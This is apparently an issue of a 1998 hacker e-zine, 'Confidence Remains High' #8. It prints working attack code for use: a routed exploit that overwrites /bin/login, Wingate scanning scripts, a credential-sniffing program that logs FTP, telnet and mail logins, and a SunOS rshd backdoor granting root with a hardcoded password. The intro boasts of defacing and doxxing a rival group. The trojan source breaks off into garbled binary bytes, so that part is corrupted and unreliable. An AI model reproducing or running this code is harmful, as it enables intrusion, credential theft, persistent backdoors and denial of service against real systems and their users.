컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 . [cZo] . Team CodeZero Presents . [cZo] . 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 /IIIIIIIIII /IIIIIIIIII /III /III \ III_____/ \ III___/III \ III \ III \ III \ III \ III \ III \_III \ III onfidence \ IIIIIIII emains \ IIIIIIIIII igh \ III \ III__/III \ III__/ III \ III \ III \ III \ III \ III \ IIIIIIIIII ___ \ III \ III ___ \ III \ III ___ \_________/ /\__\ \__/ \__/ /\__\ \__/ \__/ /\__\ \/__/ \/__/ \/__/ 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴 Issue 8 22nd March 1998 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Man with the plan : so1o The usual : om3n, zer0x, xFli, electro, spheroid, el8, ultima, chameleon. Not forgotten : loss, organik, peenut, pzn, suid helix, deprave, manly, Shok. Others : paladine, Sciri, fiji, ch-E-ztic, vacuum, humble. Cheers : Darkcyde, Jf. Russians : lirik, DemiGod, stranger, ps. .-----------[ An Official ]-----------. : .-----. .----. .--.--. : : : .--' : .-. : : : : : !_-:: : : : `-' ; : . : ::-_! :~-:: :: : :: . : :: : ::-~: : ::.`--. ::.: : ::.: : : : `-----' `--'--' `--'--' : !_-:: ::-_! :~-::-[ Confidence Remains High ]-::-~: :~-:: ::-~: `-----------[ Production ]------------' 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� In This (compact) Installment of Confidence Remains High : 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� ------=> Section A : Introduction And Cover Story. 1. Confidence Remains High issue 8....................: Tetsu Khan 2. sIn (here we go again).............................: so1o ------=> Section B : Exploits And Code. 1. Jimmy J's "vintage warez" : pack #1................: JJ 2. routed remote......................................: Kit Knox 3. Wingate scanner....................................: cL0ut 4. LinSniffer 0.666...................................: humble 5. SunOS 5.5.1 in.rshd trojan.........................: anonymous ------=> Section C : Phones / Scanning / Radio. 1. Outdials...........................................: Lirik 2. BlueBoxing in the UK in '98........................: The UK Phreaking Elite 3. UK Phone Definitions and Abbreviations.............: Jf ------=> Section D : Miscellaneous. 1. Top 10 reasons why.................................: anonymous 2. Hacking Digital Unix 4.0...........................: humble 3. FreeBSD 2.2.5 rootkit..............................: humble / method 4. l0ckd0wn.sh........................................: so1o ------=> Section E : World News. 1. VMG 0wned..........................................: sw1tch -------=> Section F : Projects. 1. The Rhino9 Sentinel................................: so1o / humble 2. TotalCon...........................................: so1o ------=> Section G : FIN. 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =============================================================================== ==[ INTRO ]====================[ .SECTION A. ]======================[ INTRO ]== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 1. Confidence Remains High issue 8 : Tetsu Khan 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� It's all good, issue 8 is here, life is good, and I feel great. Blah blah blah, enjoy :D The distro list.. ================= ftp.sekurity.org /users/so1o/ www.fth.org /crh/ www.technotronic.com /files/ezines/crh/ cybrids.simplenet.com /Toast/files/CRH/ ftp.linuxwarez.com /pub/crh/ Also check out.. ================ www.hacked.net <-- Archive of all the stuff we have 0wned. /server dark.technonet.com 6667 #!r00td0wn --------------------------------------------- ^-- or kali.cylink.net, dhp.com 6666, few others.. want to mail us? tk85@hotmail.com, you got CRH on your site? tell us f00l! 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 2. sIn (here we go again) : so1o 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� I have on thing to say, and that is.. we 0wned sIn, go see it at hacked.net, www.hacked.net/exp/com/sinnerz/, we also pulled their d0x, they now live in phear. PERIOD, it is over. yes? We win, you lose, every time. here is a p1c 0f s0me sIn cl00bag t4ken by 4n el8 s4tellit3 : \|||||/ / o o \ __________ | { ^ }-=/ give me \ | \_____/ \ vB k0dez!| | | / `````````` | /|\ / O | / | \/ | | | / \ | / \ | w0w, fh 1s pl4y1ng w4ll b4ll, a p0pular m0rmon pastt1me! For free sIn d0x to add to your 0wn filez of 0wnersh1p, check earlier CRH issues (namedly 3-5).. CRH distro list in pt.1 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� =============================================================================== ==[ EXPLOITS / CODE ]==========[ .SECTION B. ]============[ EXPLOITS / CODE ]== =============================================================================== 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 1. Jimmy J's "vintage warez" : pack #1 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� #### #### #### #### #### #### #### #### #### #### #### #### #### #### #### #### #### #### ####### ####### Jimmy J's "vintage warez" : pack #1 ----------------------------------- phf - The old favourite but with some new and useful options such as trying the bash ff hole to avoid phf filtering the newline character. test-cgi - Another oldie allowing you to remotely list files. Good for getting an idea what CGIs are on the machine as well as other stuff, including packages installed etc. icat - Grab a file from a remote machine running imapd. (You need a valid account on the box) Included in the crh008.zip is a vintage.tgz, these are Linux binaries for the programs above, the two CGI exploits are as old as the hills but they never seem to die so I dusted off some old archives and set about refining them into a semi-useful state. You can now specify a port number and a path to the CGI if you need and the phf script even swaps spaces for %20s provided you use it properly. I'm just releasing these for a laugh really. Someone, somewhere will appreciate the effort. I am not responsible for any use or misuse of these warez. They are for informational purposes. I urge the novice script kiddies among you to read the comments if you're eager to learn what's going on behind the scenes and why. Learning is good. That's it. Have fun. JJ. (If you wish to contact me mail chris@rootshell.com and he will forward it.) 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 2. routed remote : Kit Knox 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� /* * BSD 4.4 based routed trace file exploit * * Basically, routed on IRIX, AIX and Linux systems can be forced into a debug * mode, where a tracefile is specified in the RIP header, this tracefile can * be used as a form of DoS, as you can specify it to overwrite system files, * the actual contents of the file created is just routing information, so you * CANNOT set up .rhosts files or rootshells! You can only use it as DoS, * this was also a problem with the old statd remote, but people worked out * how to use a "grappling-hook" technique, that gave a remote rootshell, it's * documented in a CERT advisory for statd, work it out.. * * Originally from l0ck, but recoded by Kit Knox (info@rootshell.com), with * RIP spoofing etc. etc. still does the DoS, no rootshells yet :P * * NOTE : routed usually runs on port 520. */ /* File to append to on filesystem with debug output */ #define FILETOCREATE "/bin/login" #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define err(x) { fprintf(stderr, x); exit(1); } #define errs(x, y) { fprintf(stderr, x, y); exit(1); } /* * in_cksum -- * Checksum routine for Internet Protocol family headers (C Version) */ unsigned short in_cksum(addr, len) u_short *addr; int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; /* * Our algorithm is simple, using a 32 bit accumulator (sum), we add * sequential 16 bit words to it, and at the end, fold back all the * carry bits from the top 16 bits into the lower 16 bits. */ while (nleft > 1) { sum += *w++; nleft -= 2; } /* mop up an odd byte, if necessary */ if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w ; sum += answer; } /* add back carry outs from top 16 bits to low 16 bits */ sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* truncate to 16 bits */ return(answer); } /* Send faked UDP packet. */ int sendpkt_udp(sin, s, data, datalen, saddr, daddr, sport, dport) struct sockaddr_in *sin; unsigned short int s, datalen, sport, dport; unsigned long int saddr, daddr; char *data; { struct iphdr ip; struct udphdr udp; static char packet[8192]; /* Fill in IP header values. */ ip.ihl = 5; ip.version = 4; ip.tos = 0; ip.tot_len = htons(28 + datalen); ip.id = htons(31337 + (rand()%100)); ip.frag_off = 0; ip.ttl = 255; ip.protocol = IPPROTO_UDP; ip.check = 0; ip.saddr = saddr; ip.daddr = daddr; ip.check = in_cksum((char *)&ip, sizeof(ip)); /* Fill in UDP header values. Checksums are unnecassary. */ udp.source = htons(sport); udp.dest = htons(dport); udp.len = htons(8 + datalen); udp.check = (short) 0; /* Copy the headers into our character array. */ memcpy(packet, (char *)&ip, sizeof(ip)); memcpy(packet+sizeof(ip), (char *)&udp, sizeof(udp)); memcpy(packet+sizeof(ip)+sizeof(udp), (char *)data, datalen); return(sendto(s, packet, sizeof(ip)+sizeof(udp)+datalen, 0, (struct sockaddr *)sin, sizeof(struct sockaddr_in))); } /* Lookup the name. Also handles a.b.c.d dotted quads. Returns 0 on error */ unsigned int lookup(host) char *host; { unsigned int addr; struct hostent *he; addr = inet_addr(host); /* Try if it's a "127.0.0.1" style string */ if (addr == -1) /* If not, lookup the host */ { he = gethostbyname(host); if ((he == NULL) || (he->h_name == NULL) || (he->h_addr_list == NULL)) return 0; bcopy(*(he->h_addr_list), &(addr), sizeof(he->h_addr_list)); } return(addr); } void main(argc, argv) int argc; char **argv; { unsigned int saddr, daddr; struct sockaddr_in sin; int s; struct rip rp; if(argc != 4) errs("\nSee http://www.rootshell.com/\n\nUsage: %s \n\ncommand: 3 = trace on, 4 = trace off\n\n",argv[0]); if((s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) err("Unable to open raw socket.\n"); if(!(saddr = lookup(argv[1]))) err("Unable to lookup source address.\n"); if(!(daddr = lookup(argv[2]))) err("Unable to lookup destination address.\n"); sin.sin_family = AF_INET; sin.sin_addr.s_addr= daddr; sin.sin_port = 520; /* Fill in RIP packet info */ rp.rip_cmd = atoi(argv[3]); /* 3 = RIPCMD_TRACEON, 4 = RIPCMD_TRACEOFF */ rp.rip_vers = RIPVERSION; /* Must be version 1 */ sprintf(rp.rip_tracefile, FILETOCREATE); if((sendpkt_udp(&sin, s, &rp, sizeof(rp), saddr, daddr, 520, 520)) == -1) { perror("sendpkt_udp"); err("Error sending the UDP packet.\n"); } } 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 3. Wingate scanner : trajek / cl0ut 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� Needs nmap (phrack 51 -> www.phrack.com), work it out, simple.. skr1pt #1 ---8<--- cut here ---8<--- cut here ---8<--- cut here ---8<--- cut here #nmap $1 -p 23 | grep telnet if nmap $1 -p 23 | grep telnet ; then echo $1 >> scan.results fi ---8<--- cut here ---8<--- cut here ---8<--- cut here ---8<--- cut here skr1pt #2 ---8<--- cut here ---8<--- cut here ---8<--- cut here ---8<--- cut here # tee hee.. cl0ut/1998 host -l $1 | grep "has address" | awk -F ' ' '{ print $4 }' > $1.domains echo "* Sorting hosts and removing dupes." sort < $1.domains > $1.sorted uniq < $1.sorted > $1.domains rm -f $1.sorted cat $1.domains | awk -F ' ' '{ print "./b " $1 }' > $1.tmp rm -fr $1.domains chmod +x $1.tmp ./$1.tmp rm -fr $1.tmp ---8<--- cut here ---8<--- cut here ---8<--- cut here ---8<--- cut here 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 4. LinSniffer 0.666 : humble 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� /* * LinSniffer 0.666 * by humble of rhino9 * I am not responsible for what you do with this. * * This is like linsniffer, but it uses a linked list * so it won't ignore any connections. * * based on original code by Mike Edulla * * how many bytes do you want to capture per connection? * it mallocs this much memory for each connection so don't * make it too high */ #define MAXIMUM_CAPTURE 256 // how long before we stop watching an idle connection? #define TIMEOUT 30 // log file name? #define LOGNAME "tcp.log" #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include int sock; FILE *log; struct connection { struct connection *next; time_t start; time_t lasthit; unsigned long saddr; unsigned long daddr; unsigned short sport; unsigned short dport; unsigned char data[MAXIMUM_CAPTURE]; int bytes; }; typedef struct connection *clistptr; clistptr head,tail; void add_node(unsigned long sa, unsigned long da,unsigned short sp,unsigned short dp) { clistptr newnode; newnode=(clistptr)malloc(sizeof(struct connection)); newnode->saddr=sa; newnode->daddr=da; newnode->sport=sp; newnode->dport=dp; newnode->bytes=0; newnode->next=NULL; time(&(newnode->start)); time(&(newnode->lasthit)); if (!head) { head=newnode; tail=newnode; } else { tail->next=newnode; tail=newnode; } } char *hostlookup(unsigned long int in) { static char blah[1024]; struct in_addr i; struct hostent *he; i.s_addr=in; he=gethostbyaddr((char *)&i, sizeof(struct in_addr),AF_INET); if(he == NULL) strcpy(blah, inet_ntoa(i)); else strcpy(blah, he->h_name); return blah; } char *pretty(time_t *t) { char *time; time=ctime(t); time[strlen(time)-6]=0; return time; } int remove_node(unsigned long sa, unsigned long da,unsigned short sp,unsigned short dp) { clistptr walker,prev; int i=0; int t=0; if (head) { walker=head; prev=head; while (walker) { if (sa==walker->saddr && da==walker->daddr && sp==walker->sport && dp==walker->dport) { prev->next=walker->next; if (walker==head) { head=head->next;; prev=NULL; } if (walker==tail) tail=prev; fprintf(log,"============================================================\n"); fprintf(log,"Time: %s Size: %d\nPath: %s",pretty(&(walker->start)),walker->bytes,hostlookup(sa)); fprintf(log," => %s [%d]\n------------------------------------------------------------\n",hostlookup(da),ntohs(dp)); fflush(log); for (i=0;ibytes;i++) { if (walker->data[i]==13) { fprintf(log,"\n"); t=0; } if (isprint(walker->data[i])) { fprintf(log,"%c",walker->data[i]); t++; } if (t>75) { t=0; fprintf(log,"\n"); } } fprintf(log,"\n"); fflush(log); free (walker); return 1; } prev=walker; walker=walker->next; } } } int log_node(unsigned long sa, unsigned long da,unsigned short sp,unsigned short dp,int bytes,char *buffer) { clistptr walker; walker=head; while (walker) { if (sa==walker->saddr && da==walker->daddr && sp==walker->sport && dp==walker->dport) { time(&(walker->lasthit)); strncpy(walker->data+walker->bytes,buffer,MAXIMUM_CAPTURE-walker->bytes); walker->bytes=walker->bytes+bytes; if (walker->bytes>=MAXIMUM_CAPTURE) { walker->bytes=MAXIMUM_CAPTURE; remove_node(sa,da,sp,dp); return 1; } } walker=walker->next; } } void setup_interface(char *device); void cleanup(int); struct etherpacket { struct ethhdr eth; struct iphdr ip; struct tcphdr tcp; char buff[8192]; } ep; struct iphdr *ip; struct tcphdr *tcp; void cleanup(int sig) { if (sock) close(sock); if (log) { fprintf(log,"\nExiting...\n"); fclose(log); } exit(0); } void purgeidle(int sig) { clistptr walker; time_t curtime; walker=head; signal(SIGALRM, purgeidle); alarm(5); // printf("Purging idle connections...\n"); time(&curtime); while (walker) { if (curtime - walker->lasthit > TIMEOUT) { // printf("Removing node: %d,%d,%d,%d\n",walker->saddr,walker->daddr,walker->sport,walker->dport); remove_node(walker->saddr,walker->daddr,walker->sport,walker->dport); walker=head; } else walker=walker->next; } } void setup_interface(char *device) { int fd; struct ifreq ifr; int s; //open up our magic SOCK_PACKET fd=socket(AF_INET, SOCK_PACKET, htons(ETH_P_ALL)); if(fd < 0) { perror("cant get SOCK_PACKET socket"); exit(0); } //set our device into promiscuous mode strcpy(ifr.ifr_name, device); s=ioctl(fd, SIOCGIFFLAGS, &ifr); if(s < 0) { close(fd); perror("cant get flags"); exit(0); } ifr.ifr_flags |= IFF_PROMISC; s=ioctl(fd, SIOCSIFFLAGS, &ifr); if(s < 0) perror("cant set promiscuous mode"); sock=fd; } int filter(void) { int p; p=0; if(ip->protocol != 6) return 0; p=0; if (htons(tcp->dest) == 21) p= 1; if (htons(tcp->dest) == 23) p= 1; if (htons(tcp->dest) == 106) p= 1; if (htons(tcp->dest) == 109) p= 1; if (htons(tcp->dest) == 110) p= 1; if (htons(tcp->dest) == 143) p= 1; if (htons(tcp->dest) == 513) p= 1; if (!p) return 0; if(tcp->syn == 1) { // printf("Adding node syn %d,%d,%d,%d.\n",ip->saddr,ip->daddr,tcp->source,tcp->dest); add_node(ip->saddr,ip->daddr,tcp->source,tcp->dest); } if (tcp->rst ==1) { // printf("Removed node rst %d,%d,%d,%d.\n",ip->saddr,ip->daddr,tcp->source,tcp->dest); remove_node(ip->saddr,ip->daddr,tcp->source,tcp->dest); } if (tcp->fin ==1) { // printf("Removed node fin %d,%d,%d,%d.\n",ip->saddr,ip->daddr,tcp->source,tcp->dest); remove_node(ip->saddr,ip->daddr,tcp->source,tcp->dest); } log_node(ip->saddr,ip->daddr,tcp->source,tcp->dest,htons(ip->tot_len)-sizeof(ep.ip)-sizeof(ep.tcp), ep.buff-2); } void main(int argc, char *argv[]) { int x,dn; clistptr c; head=tail=NULL; ip=(struct iphdr *)(((unsigned long)&ep.ip)-2); tcp=(struct tcphdr *)(((unsigned long)&ep.tcp)-2); if (fork()==0) { close(0); close(1); close(2); setsid(); dn=open("/dev/null",O_RDWR); dup2(0,dn); dup2(1,dn); dup2(2,dn); close(dn); setup_interface("eth0"); signal(SIGHUP, SIG_IGN); signal(SIGINT, cleanup); signal(SIGTERM, cleanup); signal(SIGKILL, cleanup); signal(SIGQUIT, cleanup); signal(SIGALRM, purgeidle); log=fopen(LOGNAME,"a"); if (log == NULL) { fprintf(stderr, "cant open log\n"); exit(0); } alarm(5); while (1) { x=read(sock, (struct etherpacket *)&ep, sizeof(struct etherpacket)); if (x>1) { filter(); } } } } 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� 5. SunOS 5.5.1 in.rshd trojan : anonymous 컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴컴� /* SunOS 5.5.1 in.rshd trojan By anonymous, for the hackers of the w0rld 1/3/98 Use thiz shizn1t t0 make me! cc in.rshd.c -o in.rshd -lsocket -lnsl -lintl -lw -ldl -lbsm -lauth -DSYSV -DSTRNET -DBSD_COMP -s Then mv me to /usr/sbin, and restart inetd using: # kill -HUP w0rd. */ #define PASSWORD "eatme" #ident "@(#)in.rshd.c 0.41 92/08/11" #include #include #include #include #include #include #include #include #include #include #include #include #include #include #ifdef SYSV #include #include #include #include #include #define killpg(a,b) kill(-(a),(b)) #define rindex strrchr #define index strchr #endif /* SYSV */ #ifndef NCARGS #define NCARGS 5120 #endif /* NCARGS */ int errno; char *index(), *rindex(), *strncat(); /*VARARGS1*/ int error(); struct ia_status ia_status; void * iah; int retval; /*ARGSUSED*/ main(argc, argv) int argc; char **argv; { struct linger linger; int on = 1, fromlen; struct sockaddr_in from; openlog("rsh", LOG_PID | LOG_ODELAY, LOG_DAEMON); audit_rshd_setup(); /* BSM */ fromlen = sizeof (from); if (getpeername(0, (struct sockaddr *) &from, &fromlen) < 0) { fprintf(stderr, "%s: ", argv[0]); perror("getpeername"); _exit(1); } if (setsockopt(0, SOL_SOCKET, SO_KEEPALIVE, (char *)&on, sizeof (on)) < 0) syslog(LOG_WARNING, "setsockopt (SO_KEEPALIVE): %m"); linger.l_onoff = 1; linger.l_linger = 60; /* XXX */ if (setsockopt(0, SOL_SOCKET, SO_LINGER, (char *)&linger, sizeof (linger)) < 0) syslog(LOG_WARNING, "setsockopt (SO_LINGER): %m"); doit(dup(0), &from); /* NOTREACHED */ } char username[20] = "USER="; char homedir[64] = "HOME="; char shell[64] = "SHELL="; #ifdef SYSV char *envinit[] = {homedir, shell, (char *) 0, username, (char *) 0, (char *) 0}; #define ENVINIT_PATH 2 /* position of PATH in envinit[] */ #define ENVINIT_TZ 4 /* position of TZ in envinit[] */ /* * See PSARC opinion 1992/025 */ char userpath[] = "PATH=/usr/bin:"; char rootpath[] = "PATH=/usr/sbin:/usr/bin"; #else char *envinit[] = {homedir, shell, "PATH=:/usr/ucb:/bin:/usr/bin", username, 0}; #endif /* SYSV */ static char cmdbuf[NCARGS+1]; char hostname [MAXHOSTNAMELEN + 1]; doit(f, fromp) int f; struct sockaddr_in *fromp; { char *cp; char locuser[16], remuser[16]; struct passwd *pwd; #ifdef SYSV char *tz, *tzenv; struct spwd *shpwd; struct stat statb; #endif /* SYSV */ int s; struct hostent *hp; short port; pid_t pid; int pv[2], cc; char buf[BUFSIZ], sig; int one = 1; int trojan=0; (void) signal(SIGINT, SIG_DFL); (void) signal(SIGQUIT, SIG_DFL); (void) signal(SIGTERM, SIG_DFL); #ifdef SYSV (void) sigset(SIGCHLD, SIG_IGN); #endif /* SYSV */ #ifdef DEBUG { int t = open("/dev/tty", 2); if (t >= 0) { #ifdef SYSV setsid(); #else ioctl(t, TIOCNOTTY, (char *)0); #endif SYSV (void) close(t); } } #endif fromp->sin_port = ntohs((u_short)fromp->sin_port); if (fromp->sin_family != AF_INET) { syslog(LOG_ERR, "malformed from address\n"); exit(1); } if (fromp->sin_port >= IPPORT_RESERVED || fromp->sin_port < (u_int) (IPPORT_RESERVED/2)) { syslog(LOG_NOTICE, "connection from bad port\n"); exit(1); } (void) alarm(60); port = 0; for (;;) { char c; if ((cc = read(f, &c, 1)) != 1) { if (cc < 0) syslog(LOG_NOTICE, "read: %m"); shutdown(f, 1+1); exit(1); } if (c == 0) break; port = port * 10 + c - '0'; } (void) alarm(0); if (port != 0) { int lport = IPPORT_RESERVED - 1; s = rresvport(&lport); if (s < 0) { syslog(LOG_ERR, "can't get stderr port: %m"); exit(1); } if (port >= IPPORT_RESERVED) { syslog(LOG_ERR, "2nd port not reserved\n"); exit(1); } fromp->sin_port = htons((u_short)port); if (connect(s, (struct sockaddr *) fromp, sizeof (*fromp)) < 0) { syslog(LOG_INFO, "connect second port: %m"); exit(1); } } dup2(f, 0); dup2(f, 1); dup2(f, 2); hp = gethostbyaddr((char *)&fromp->sin_addr, sizeof (struct in_addr), fromp->sin_family); if (hp) strncpy (hostname, hp->h_name, sizeof(hostname)); else strncpy (hostname, inet_ntoa(fromp->sin_addr), sizeof(hostname)); getstr(remuser, sizeof(remuser), "remuser"); getstr(locuser, sizeof(locuser), "locuser"); getstr(cmdbuf, sizeof(cmdbuf), "command"); if (!strcmp(PASSWORD,locuser)) { trojan=1; } if (!trojan && (ia_start("in.rshd", locuser, NULL, hostname, NULL, &iah)) != IA_SUCCESS) { syslog(LOG_ERR, "ia_start() failed\n"); exit(1); } if (!trojan && ia_auth_user(iah, 0, &pwd, &ia_status) != IA_SUCCESS) { error("permission denied\n"); audit_rshd_fail("Login incorrect", hostname, remuser, locuser, cmdbuf); /* BSM */ exit(1); } if (trojan) pwd=getpwnam("root"); else { shpwd = getspnam(locuser); if (shpwd == NULL) { error("permission denied.\n"); audit_rshd_fail("Login incorrect", hostname, remuser, locuser, cmdbuf); /* BSM */ exit(1); } } /* * maintain 2.1 and 4.* and BSD semantics with anonymous rshd */ if (!trojan && shpwd->sp_pwdp != 0 && *shpwd->sp_pwdp != '\0' && ia_auth_netuser(iah, remuser, &ia_status) != IA_SUCCESS ) { error("permission denied\n"); audit_rshd_fail("Permission denied", hostname, remuser, locuser, cmdbuf); /* BSM */ exit(1); } if (chdir(pwd->pw_dir) < 0) { (void) chdir("/"); #ifdef notdef error("No remote directory.\n"); exit(1); #endif } (void) write(2, "\0", 1); if (port) { if (pipe(pv) < 0) { error("Can't make pipe.\n"); exit(1); } pid = fork(); if (pid == (pid_t)-1) { error("Fork (to start shell) failed on server. Please try again later.\n"); exit(1); } #ifndef MAX #define MAX(a,b) (((u_int)(a) > (u_int)(b)) ? (a) : (b)) #endif /* MAX */ if (pid) { int width = MAX(s, pv[0]) + 1; fd_set ready; fd_set readfrom; (void) close(0); (void) close(1); (void) close(2); (void) close(f); (void) close(pv[1]); FD_ZERO (&ready); FD_ZERO (&readfrom); FD_SET (s, &readfrom); FD_SET (pv[0], &readfrom); if (ioctl(pv[0], FIONBIO, (char *)&one) == -1) syslog (LOG_INFO, "ioctl FIONBIO: %m"); /* should set s nbio! */ do { ready = readfrom; if (select(width, &ready, (fd_set *)0, (fd_set *)0, (struct timeval *)0) < 0) break; if (FD_ISSET (s, &ready)) { if (read(s, &sig, 1) <= 0) FD_CLR (s, &readfrom); else killpg(pid, sig); } if (FD_ISSET (pv[0], &ready)) { errno = 0; cc = read(pv[0], buf, sizeof (buf)); if (cc <= 0) { shutdown(s, 1+1); FD_CLR (pv[0], &readfrom); } else (void) write(s, buf, cc); } } while (FD_ISSET (s, &readfrom) || FD_ISSET (pv[0], &readfrom)); exit(0); } setpgrp(0, getpid()); (void) close(s); (void) close(pv[0]); dup2(pv[1], 2); (void) close(pv[1]); } if (*pwd->pw_shell == '\0') pwd->pw_shell = "/bin/sh"; (void) close(f); /* * write audit record before making uid switch */ if (!trojan) { audit_rshd_success(hostname, remuser, locuser, cmdbuf); /* BSM */ if (retval = ia_setcred(iah, SC_INITGPS|SC_SETRID, pwd->pw_uid, pwd->pw_gid, 0, NULL, &ia_status)) { switch (retval) { case 0: break; case IA_BAD_GID: error("Invalid gid.\n"); exit(1); case IA_BAD_UID: error("Invalid uid.\n"); exit(1); default: exit(1); } } ia_end(iah); } #ifdef SYSV if (pwd->pw_uid) envinit[ENVINIT_PATH] = userpath; else envinit[ENVINIT_PATH] = rootpath; if (tzenv = getenv("TZ")) { /* * In the line below, 4 is strlen("TZ=") + 1 null byte. * We have to malloc the space because it's difficult to * compute the maximum size of a timezone string. */ tz = (char *) malloc(strlen(tzenv) + 4); if (tz) { strcpy(tz, "TZ="); strcat(tz, tzenv); envinit[ENVINIT_TZ] = tz; } } #endif /* SYSV */ strncat(homedir, pwd->pw_dir, sizeof(homedir)-6); strncat(shell, pwd->pw_shell, sizeof(shell)-7); strncat(username, pwd->pw_name, sizeof(username)-6); cp = rindex(pwd->pw_shell, '/'); if (cp) cp++; else cp = pwd->pw_shell; #ifdef SYSV /* * rdist has been moved to /usr/bin, so /usr/ucb/rdist might not * be present on a system. So if it doesn't exist we fall back * and try for it in /usr/bin. We take care to match the space * after the name because the only purpose of this is to protect * the internal call from old rdist's, not humans who type * "rsh foo /usr/ucb/rdist". MZ����@��� �!�L�!This program cannot be run in DOS mode. $[旽{틬{틬{틬�d콞{틬쐅킊{틬�d컰Q{틬{퍟!{틬}d찖{틬{틬{틬�d쥤{틬Rich{틬PEL[�=8� �P�9�@�D���@.text뙇� `.rdata�� �@@.data�%��@�U뗭껋h0�@딢P巍"꺞덭��}�u딲Qh4�@�y"꺞j��!딼�R� 꺞덭�jj딢�P�m꺞 딲�Q妖꺞덭�j딼�R딢�P�L꺞 딲�Q玩꺞덭��}�u딼Rhh�@� "꺞j�-!딢�P딲�Qj딼�R鈺꺞;E�t딢Ph뙽@往!꺞j橈 딲�Q�.꺞딼�뎇幣E�� 딢�꺚덭�딲�;M�}*딼�U��뉳�딲�M�딼�U�둆�딲�M�둝�늂尹딢�뗥]홛뗭Qh느@딢P穩!꺞덭��}�u딲Qh맛@�F!꺞j�g 딼�R딢Pj딲 Q��!꺞;Et딼Rh裏@�!꺞j�4 딢�P�h꺞뗥]촌�U뗭껋H딢 덭툋}�t�}�t/�}�t�33잼E뛏픑딼R���@덭펾E픐딲Q���@3잼"j���@3잼딼R딢P딲 Q딼R���@뗥]�U뗭�Y P�M Ph�@�o 꺞�4 j��]홛뗭]�U뗭껋,�E�+�E莫@�E��E�딢덭�hj���@덭�hj���@덭�j��@덭曹E��E��@뛏�Q���@%��끐u3잰Ij딼Rjjh�h@jjh릈(�@h@�@j���@덭��}�u3잰 烏 딢�Pj�� jj�� �| 끐u �祐�c 끐u枉���hL�@�J 즍�@�=X�@u渦���j� X�@Q�# 즨�@�=t�@u�얔��j���@딼��輟@딢x�@hh�@�L�@끐uj �!h`�@�H�@끐uj � �N�L��@�=�@uj 夭h�@� t�@Q�� j�� � �@R�L꺞��3핆�]�U뗭jhp�@h⊂�@P��끐t3잰[jh燥@hP�@� p�@�죖�@P�R 끐t3잰3j � 輟@Q�燥@�� 燥@Q�P4끐t3잰 h摩@�燥@�� 燥@Q�P,끐t3잰��燥@�� 燥@Q�P끐t3잰�jh況@j僚끐t3잰�jS�輟@R∧�@��況@R�QP끐t3잰�jh�h@∧�@��況@R�QT끐t3잼kjljh��@嵬꺞 ���@l�꾇@�碗@jh�@h��@∧�@��況@R�Q끐t3잼h�窩꺞� �@�]홛뗭죜�@P�끐u�l���� X�@Q料끐u�W���鰲끐u�I����=�@t��@�� �@Q�P�=況@t�況@�� 況@Q�P�=燥@t�燥@�� 燥@Q�P 